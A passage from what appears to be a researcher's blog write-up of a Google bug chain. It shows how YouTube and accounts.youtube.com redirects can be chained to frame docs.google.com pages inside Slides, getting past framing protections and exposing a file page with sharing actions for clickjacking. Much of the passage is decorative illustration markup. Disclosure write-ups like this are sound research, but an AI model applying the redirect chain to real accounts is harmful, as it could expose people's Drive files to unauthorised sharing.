class=ytOopsTv style=&#34;left:15.68%;top:38.13%;width:18.72%;height:24.8%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTv style=&#34;left:9.28%;top:64.27%;width:24.16%;height:26.67%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTv style=&#34;left:35.52%;top:54.93%;width:27.68%;height:36%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTv style=&#34;left:64.8%;top:59.73%;width:26.72%;height:31.73%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvScr style=&#34;left:50.88%;top:0.8%;width:3.2%;height:4%;border-radius:2px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvScr style=&#34;left:37.28%;top:7.2%;width:11.68%;height:13.87%;border-radius:3px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvScr style=&#34;left:51.84%;top:13.07%;width:8.16%;height:10.4%;border-radius:3px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvScr style=&#34;left:63.84%;top:24.8%;width:9.28%;height:10.93%;border-radius:5px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvScr style=&#34;left:38.56%;top:29.07%;width:19.04%;height:22.4%;border-radius:6px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvScr style=&#34;left:64.8%;top:39.73%;width:14.56%;height:17.33%;border-radius:10px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvScr style=&#34;left:66.08%;top:62.93%;width:21.28%;height:25.07%;border-radius:10px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvScr style=&#34;left:10.72%;top:66.13%;width:19.52%;height:22.93%;border-radius:14px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvScr style=&#34;left:17.28%;top:39.73%;width:15.52%;height:18.4%;border-radius:4px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvScr style=&#34;left:37.76%;top:56.27%;width:23.36%;height:30.13%;border-radius:6px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvScr style=&#34;left:25.28%;top:24.53%;width:8.16%;height:10.4%;border-radius:5px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvRect style=&#34;left:41.28%;top:21.87%;width:5.76%;height:1.6%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvRect style=&#34;left:58.72%;top:28.53%;width:1.28%;height:10.67%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvRect style=&#34;left:80.16%;top:39.47%;width:1.12%;height:2.93%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvRect style=&#34;left:80.16%;top:43.73%;width:1.12%;height:2.93%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvRect style=&#34;left:31.2%;top:65.87%;width:1.44%;height:9.87%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvRect style=&#34;left:30.08%;top:65.87%;width:0.48%;height:1.33%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvRect style=&#34;left:20%;top:59.47%;width:7.68%;height:2.13%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvLines style=&#34;left:58.56%;top:41.33%;width:1.6%;height:9.87%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvLines style=&#34;left:51.04%;top:7.47%;width:2.88%;height:3.47%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvLines style=&#34;left:30.88%;top:77.87%;width:2.08%;height:9.07%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvLines style=&#34;left:23.68%;top:32.8%;width:0.8%;height:1.33%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=ytOopsTvLines style=&#34;left:79.84%;top:48.53%;width:1.6%;height:6.93%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:23.68%;top:24.13%;width:0.8%;height:1.33%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:23.68%;top:26.4%;width:0.8%;height:1.33%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:23.68%;top:28.27%;width:0.8%;height:1.33%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:23.68%;top:30.67%;width:0.8%;height:1.33%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:51.2%;top:5.33%;width:0.64%;height:1.07%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:53.12%;top:5.33%;width:0.64%;height:1.07%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:59.36%;top:23.73%;width:0.48%;height:0.8%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:52.32%;top:23.73%;width:0.48%;height:0.8%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:47.68%;top:21.6%;width:1.28%;height:2.13%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:62.56%;top:30.67%;width:1.12%;height:1.87%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:62.56%;top:28%;width:1.12%;height:1.87%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:62.56%;top:25.33%;width:1.12%;height:1.87%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:36.16%;top:29.6%;width:1.76%;height:2.93%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:36.16%;top:33.33%;width:1.76%;height:2.93%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:36.16%;top:37.07%;width:1.76%;height:2.93%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:17.28%;top:59.2%;width:1.76%;height:2.93%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:88%;top:64.53%;width:2.72%;height:4.53%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:88%;top:70.67%;width:2.72%;height:4.53%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:88%;top:76.53%;width:2.72%;height:4.53%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:88.48%;top:84%;width:0.96%;height:1.6%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:89.44%;top:84%;width:0.96%;height:1.6%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:90.4%;top:84%;width:0.96%;height:1.6%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:59.36%;top:88%;width:1.28%;height:2.13%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:38.88%;top:88%;width:1.28%;height:2.13%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:62.24%;top:33.87%;width:0.32%;height:0.53%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:62.72%;top:33.87%;width:0.32%;height:0.53%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;ytOopsTvBtn&#34; style=&#34;left:63.2%;top:33.87%;width:0.32%;height:0.53%&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;!-- &lt;3 https://stackoverflow.com/a/75054687/2251833 --&gt;&#xD;&#xA;&lt;svg width=&#39;0&#39; height=&#39;0&#39;&gt;&#xD;&#xA;  &lt;filter id=&#39;grainy&#39; x=&#39;0&#39; y=&#39;0&#39; width=&#39;100%&#39; height=&#39;100%&#39;&gt;&#xD;&#xA;    &lt;feTurbulence type=&#39;fractalNoise&#39; baseFrequency=&#39;.737&#39;/&gt;&#xD;&#xA;    &lt;feColorMatrix type=&#39;saturate&#39; values=&#39;0&#39;/&gt;&#xD;&#xA;    &lt;feBlend in=&#39;SourceGraphic&#39; mode=&#39;overlay&#39;/&gt;&#xD;&#xA;  &lt;/filter&gt;&#xD;&#xA;&lt;/svg&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;    .ytErr {&#xD;&#xA;        display: flex;&#xD;&#xA;        flex-direction: column;&#xD;&#xA;        align-items: center;&#xD;&#xA;        width: 100%;&#xD;&#xA;        border-radius: 4px;&#xD;&#xA;        background: #f1f1f1;&#xD;&#xA;        overflow: hidden;&#xD;&#xA;    }&#xD;&#xA;    /* These are the default selections colors, at least on Chrome+Windows. The background color I guessed, because it has both the base color and transparency, and I found that #0041C6CC seems to match perfectly with how the default selection looks. */&#xD;&#xA;    .defSelect *::selection {&#xD;&#xA;        color: #FFF;&#xD;&#xA;        background: #0041C6CC;&#xD;&#xA;    }&#xD;&#xA;    .ytAlert {&#xD;&#xA;        border: 2px #b91f1f solid;&#xD;&#xA;        font-family: &#34;YouTube Noto&#34;, Roboto, arial, sans-serif;&#xD;&#xA;        font-size: 13px;&#xD;&#xA;        font-weight: 700;&#xD;&#xA;        text-align: center;&#xD;&#xA;        vertical-align: middle;&#xD;&#xA;        line-height: 15.6px;&#xD;&#xA;        background: #FFF;&#xD;&#xA;        width: 90%;&#xD;&#xA;        margin: 16px 0;&#xD;&#xA;    }&#xD;&#xA;    .ytAlertHeader {&#xD;&#xA;        width: 100%;&#xD;&#xA;        background: #B91F1F;&#xD;&#xA;        color: #FFF;&#xD;&#xA;        padding: 11px 0 11px;&#xD;&#xA;    }&#xD;&#xA;    .ytOops {&#xD;&#xA;        margin-top: 5.21%;&#xD;&#xA;        max-width: 625px;&#xD;&#xA;        width: 100%;&#xD;&#xA;        aspect-ratio: 5 / 3;&#xD;&#xA;        position: relative;&#xD;&#xA;        filter: blur(0.3px);&#xD;&#xA;    }&#xD;&#xA;    .ytOopsTv {&#xD;&#xA;        position: absolute;&#xD;&#xA;        /*background: repeating-linear-gradient(#945424 2.2px, #0000 3.98px);*/&#xD;&#xA;        background: repeating-linear-gradient(90deg, #9E5E2E 0px, #905020 2.1px, #8B4B1B 4.3px, #915122 8.5px, #965626 12px),&#xD;&#xA;         repeating-linear-gradient(90deg, #9E5E2E 0px, #90502000 1.21px, #8B4B1B 2.43px, #91512200 3.85px, #965626 4.2px),&#xD;&#xA;         repeating-linear-gradient(-15deg, #9E5E2ECC , #905020CC 10.21px, #8B4B1BCC 20.43px, #915122CC 30.85px, #965626CC 40.2px, #9E5E2ECC 51.2px);&#xD;&#xA;        background-blend-mode:lighten;&#xD;&#xA;    }&#xD;&#xA;    .ytOopsTvScr {&#xD;&#xA;        position: absolute;&#xD;&#xA;        overflow: hidden;&#xD;&#xA;        filter: none;&#xD;&#xA;        transition: filter 0.2s;&#xD;&#xA;    }&#xD;&#xA;    .ytOopsTvScr:hover {&#xD;&#xA;        filter: brightness(1.1);&#xD;&#xA;    }&#xD;&#xA;    .ytOopsTvScr::after {&#xD;&#xA;        position: absolute;&#xD;&#xA;        width: 100%;&#xD;&#xA;        height: 100%;&#xD;&#xA;        background: radial-gradient(circle, #CCC 75%, #BBB 90%, #AAA);&#xD;&#xA;        transition: all 0.5s;&#xD;&#xA;        filter: url(#grainy) blur(0.5px);&#xD;&#xA;        content: &#34;&#34;;&#xD;&#xA;    }&#xD;&#xA;    .ytOopsTvRect {&#xD;&#xA;        position: absolute;&#xD;&#xA;        background: #47260E;&#xD;&#xA;    }&#xD;&#xA;    .ytOopsTvLines {&#xD;&#xA;        position: absolute;&#xD;&#xA;        background: repeating-linear-gradient(#47260E, #47260E 0.9px, #0000 1.1px, #0000 2px);&#xD;&#xA;    }&#xD;&#xA;    .ytOopsTvBtn {&#xD;&#xA;        position: absolute;&#xD;&#xA;        background: #47260E;&#xD;&#xA;        border-radius: 100%;&#xD;&#xA;    }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;Oh, seems like it doesn&amp;rsquo;t let us do an open redirect after all. Next I tried &lt;strong&gt;google.com&lt;/strong&gt; - still the same error. I tried &lt;strong&gt;youtube.com&lt;/strong&gt;&amp;hellip; and once again, the same error?&lt;/p&gt;&#xA;&lt;p&gt;I then realized that I had fogotten the subdomain - &lt;strong&gt;www.youtube.com&lt;/strong&gt; does in-fact work with the redirect. And soon enough I discovered the redirects to work with any YouTube subdomain - &lt;strong&gt;music.youtube.com&lt;/strong&gt; and &lt;strong&gt;admin.youtube.com&lt;/strong&gt; both worked! We&amp;rsquo;re still stuck on YouTube&amp;rsquo;s domains, but at least we now have a bit more attack surface to work with.&lt;/p&gt;&#xA;&lt;h2 id=&#34;part-3-re-redirects&#34;&gt;Part 3: Re-redirects&lt;/h2&gt;&#xA;&lt;p&gt;That &lt;strong&gt;/signin&lt;/strong&gt; redirect wasn&amp;rsquo;t the only one I found though - there was another one present on a different YouTube subdomain:&lt;/p&gt;&#xA;&lt;div class=&#34;urlBox&#34;&gt;&lt;a href=&#34;https://accounts.youtube.com/accounts/SetSID?ssdc=1&amp;sidt=&amp;continue=https%3A%2F%2Fwww.google.com&amp;tcc=1&amp;dbus=EE&#34;&gt;https://&lt;span style=&#34;color:#FFF&#34;&gt;accounts.youtube.com&lt;/span&gt;/accounts/SetSID?ssdc=1&amp;sidt=&amp;continue=&lt;span style=&#34;color:#FFF&#34;&gt;https%3A%2F%2Fwww.google.com&lt;/span&gt;&amp;tcc=1&amp;dbus=EE&lt;/a&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;This one seems to be for Google account logins. For example, if you log in on &lt;strong&gt;google.ee&lt;/strong&gt;, you&amp;rsquo;d get redirected through &lt;strong&gt;accounts.google.com&lt;/strong&gt; and &lt;strong&gt;accounts.youtube.com&lt;/strong&gt; to update the cookies on both of those domains. I played around with it a little and found that while it once again wasn&amp;rsquo;t a full open redirect, it did allow a variety of Google&amp;rsquo;s own domains in the &lt;em&gt;continue&lt;/em&gt; parameter, including services such as Docs.&lt;/p&gt;&#xA;&lt;p&gt;If we could redirect our iframe to &lt;strong&gt;docs.google.com&lt;/strong&gt; it&amp;rsquo;d open up a lot of possibilities. Google Docs is built in a way where most of its pages set the &lt;em&gt;x-frame-options&lt;/em&gt; header to &lt;em&gt;SAMEORIGIN&lt;/em&gt;, meaning that we&amp;rsquo;re not supposed to be able to frame those pages on other websites. However, with such a redirect in place, we&amp;rsquo;d end up with a same-origin iframe within Slides, allowing us to frame pages we&amp;rsquo;re not supposed to, and do cool stuff to them!&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try chaining our previous path-traversed &lt;strong&gt;/signin&lt;/strong&gt; redirect to the new &lt;strong&gt;accounts.youtube.com&lt;/strong&gt; one and see if we can make it embed Docs pages within itself.&lt;/p&gt;&#xA;&lt;div class=&#34;slds&#34; role=img aria-label=&#34;Multiple Google Slides presentations within each-other. The inner ones have the Share button grayed-out. The final Slides pages contains the text yeah on a green background.&#34;&gt;&#xD;&#xA;    &lt;div class=&#34;sldsH&#34;&gt;&#xD;&#xA;        &lt;div class=&#34;sldsHicon&#34;&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;        &lt;div class=&#34;sldsHlt&#34;&gt;&#xD;&#xA;            &lt;span class=&#34;sldsHtitle&#34; contenteditable=&#34;plaintext-only&#34;&gt;Untitled presentation&lt;/span&gt;&lt;br&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHlnks&#34;&gt;&#xD;&#xA;                &lt;span&gt;File&lt;/span&gt;&lt;span&gt;Edit&lt;/span&gt;&lt;span&gt;View&lt;/span&gt;&lt;span&gt;Insert&lt;/span&gt;&lt;span&gt;Format&lt;/span&gt;&lt;span&gt;Slide&lt;/span&gt;&lt;span&gt;Arrange&lt;/span&gt;&lt;span&gt;Tools&lt;/span&gt;&lt;span&gt;Extensions&lt;/span&gt;&lt;span&gt;Help&lt;/span&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;height: 40px; display:flex; padding: 2px; gap: 8px;margin-left:auto&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHbtn sldsHbtnWhite over640&#34;&gt;&lt;div&gt;Slideshow&lt;/div&gt;&lt;div style=&#34;display:flex&#34;&gt;&lt;div style=&#34;margin:auto&#34; class=&#34;sldsDrop&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHbtn sldsHbtnBlue over640&#34;&gt;&lt;div&gt;Share&lt;/div&gt;&lt;div style=&#34;display:flex&#34;&gt;&lt;div style=&#34;margin:auto&#34; class=&#34;sldsDrop&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHpfp over360&#34;&gt;&lt;div&gt;L&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div class=&#34;sldsBody&#34; style=&#34;height:fit-content;padding:16px 0&#34;&gt;&#xD;&#xA;        &lt;div class=&#34;sldsMain&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;sldsSlide&#34;&gt;&#xD;&#xA;&lt;div class=&#34;slds&#34;&gt;&#xD;&#xA;    &lt;div class=&#34;sldsH&#34;&gt;&#xD;&#xA;        &lt;div class=&#34;sldsHicon&#34;&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;        &lt;div class=&#34;sldsHlt&#34;&gt;&#xD;&#xA;            &lt;span class=&#34;sldsHtitle&#34; contenteditable=&#34;plaintext-only&#34;&gt;Untitled presentation&lt;/span&gt;&lt;br&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHlnks&#34;&gt;&#xD;&#xA;                &lt;span&gt;File&lt;/span&gt;&lt;span&gt;Edit&lt;/span&gt;&lt;span&gt;View&lt;/span&gt;&lt;span&gt;Insert&lt;/span&gt;&lt;span&gt;Format&lt;/span&gt;&lt;span&gt;Slide&lt;/span&gt;&lt;span&gt;Arrange&lt;/span&gt;&lt;span&gt;Tools&lt;/span&gt;&lt;span&gt;Extensions&lt;/span&gt;&lt;span&gt;Help&lt;/span&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;height: 40px; display:flex; padding: 2px; gap: 8px;margin-left:auto&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHbtn sldsHbtnWhite over640&#34;&gt;&lt;div&gt;Slideshow&lt;/div&gt;&lt;div style=&#34;display:flex&#34;&gt;&lt;div style=&#34;margin:auto&#34; class=&#34;sldsDrop&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHbtn sldsHbtnDsbl over640&#34;&gt;&lt;div&gt;Share&lt;/div&gt;&lt;div style=&#34;display:flex&#34;&gt;&lt;div style=&#34;margin:auto&#34; class=&#34;sldsDrop&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHpfp over360&#34;&gt;&lt;div&gt;L&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div class=&#34;sldsBody&#34; style=&#34;height:fit-content;padding:16px 0&#34;&gt;&#xD;&#xA;        &lt;div class=&#34;sldsMain&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;sldsSlide&#34;&gt;&#xD;&#xA;&lt;div class=&#34;slds&#34;&gt;&#xD;&#xA;    &lt;div class=&#34;sldsH&#34;&gt;&#xD;&#xA;        &lt;div class=&#34;sldsHicon&#34;&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;        &lt;div class=&#34;sldsHlt&#34;&gt;&#xD;&#xA;            &lt;span class=&#34;sldsHtitle&#34; contenteditable=&#34;plaintext-only&#34;&gt;Untitled presentation&lt;/span&gt;&lt;br&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHlnks&#34;&gt;&#xD;&#xA;                &lt;span&gt;File&lt;/span&gt;&lt;span&gt;Edit&lt;/span&gt;&lt;span&gt;View&lt;/span&gt;&lt;span&gt;Insert&lt;/span&gt;&lt;span&gt;Format&lt;/span&gt;&lt;span&gt;Slide&lt;/span&gt;&lt;span&gt;Arrange&lt;/span&gt;&lt;span&gt;Tools&lt;/span&gt;&lt;span&gt;Extensions&lt;/span&gt;&lt;span&gt;Help&lt;/span&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;height: 40px; display:flex; padding: 2px; gap: 8px;margin-left:auto&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHbtn sldsHbtnWhite over640&#34;&gt;&lt;div&gt;Slideshow&lt;/div&gt;&lt;div style=&#34;display:flex&#34;&gt;&lt;div style=&#34;margin:auto&#34; class=&#34;sldsDrop&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHbtn sldsHbtnDsbl over640&#34;&gt;&lt;div&gt;Share&lt;/div&gt;&lt;div style=&#34;display:flex&#34;&gt;&lt;div style=&#34;margin:auto&#34; class=&#34;sldsDrop&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHpfp over360&#34;&gt;&lt;div&gt;L&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div class=&#34;sldsBody&#34; style=&#34;height:fit-content;padding:16px 0&#34;&gt;&#xD;&#xA;        &lt;div class=&#34;sldsMain&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;sldsSlide&#34; style=&#34;background:#8BCF00;color:#000;display:flex;align-items:center;justify-content:center;overflow:hidden&#34;&gt;&#xD;&#xA;                &lt;span style=&#34;font-family:Arial,sans-serif;filter:blur(0.9px);transform:scaleY(1.5);font-size:64px;text-align:center&#34; contenteditable=&#34;plaintext-only&#34;&gt;yeah&lt;/span&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;And meow - Docs inside Docs!! So epic!&lt;/p&gt;&#xA;&lt;h2 id=&#34;part-4-okay-but-what-now&#34;&gt;Part 4: Okay but what now?&lt;/h2&gt;&#xA;&lt;p&gt;So we have Docs inside of Docs, which is incredibly fun for a few minutes, but can we actually do anything useful with this? I played around with the Docs homepage for a bit, but the only interesting interaction I managed to find is deleting a document, and that&amp;rsquo;s something you could restore from trash anyways. We&amp;rsquo;ll need to find something more impactful on the Docs domain.&lt;/p&gt;&#xA;&lt;p&gt;You might think that the document editing pages themselves would be useful, but those pages already have protections in place because they&amp;rsquo;re already (intentionally) framable on external websites. If a page detects that it is within an iframe, it&amp;rsquo;ll disable a lot of the dangerous functionality, such as the sharing options of the document.&lt;/p&gt;&#xA;&lt;p&gt;This part here is what actually took me the longest to figure out. I spent a while looking for anything interesting on the &lt;strong&gt;docs.google.com&lt;/strong&gt; domain to frame and clickjack. Looking through the Wayback Machine&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; and trying various Google dorks&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;, I kept finding a bunch of old endpoints that would&amp;rsquo;ve been useful in the past, but now just redirect to Google Drive, which we cannot frame.&lt;/p&gt;&#xA;&lt;p&gt;Going through link after link, I eventually stumbled upon this url: &lt;span class=&#34;urlBox&#34; style=&#34;white-space:nowrap&#34;&gt;docs.google.com/file/d/{ID}/edit&lt;/span&gt;. This page lets us preview and perform actions (such as sharing) on Google Drive files, and unlike the other links I found earlier, it stays on the &lt;strong&gt;docs.google.com&lt;/strong&gt; domain instead of redirecting to Drive. And not only does it work with Drive files, it also works with folders and other such entities (such as Google Sites pages). You could even open up your Drive&amp;rsquo;s &amp;ldquo;Root&amp;rdquo; folder&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt; with it!&lt;/p&gt;&#xA;&lt;div class=&#34;genericContainer&#34; role=&#34;figure&#34; aria-label=&#34;Browser window&#34;&gt;&#xD;&#xA;    &lt;div class=&#34;urlBar&#34;&gt;&lt;div class=&#34;urlBarInner&#34;&gt;&lt;div class=&#34;urlBarIcon&#34;&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M11.55 13.52a2.27 2.27 0 0 1 -1.68 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68a2.27 2.27 0 0 1 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.45c0.25 0 0.47 -0.09 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.27 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.26 0.64c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.4 0.27 0.65 0.27Zm-9.47 -0.1v-1.63H7.98v1.63Zm2.37 -4.75a2.27 2.27 0 0 1 -1.67 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68c0 0.66 -0.23 1.22 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.46a0.88 0.88 0 0 0 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.26 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.27 0.65c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.39 0.27 0.65 0.27Zm3.57 -0.1V4.03h5.9v1.63Zm0 0Z&#34;/&gt;&lt;/svg&gt;&lt;/div&gt;&lt;span class=&#34;urlBarText&#34;&gt;&lt;span class=&#34;urlBarDomain&#34;&gt;docs.google.com&lt;/span&gt;/file/d/0ALK4w9WgXcQUUk9PVA/edit&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div class=&#34;filePg defSelect&#34;&gt;&#xD;&#xA;        &lt;div class=&#34;filePgH&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;filePgName&#34;&gt;&lt;span class=&#34;folderIcon&#34; style=&#34;margin: 0 11px&#34;&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/span&gt;Root&lt;/div&gt;&#xD;&#xA;            &lt;div class=&#34;filePgOpenW over640&#34;&gt;Open with&lt;/div&gt;&#xD;&#xA;            &lt;div style=&#34;height: 40px; display:flex; padding: 2px; gap: 8px;margin-left:auto;margin-right:2px&#34;&gt;&#xD;&#xA;                &lt;div class=&#34;iconButton over480&#34;&gt;&lt;div 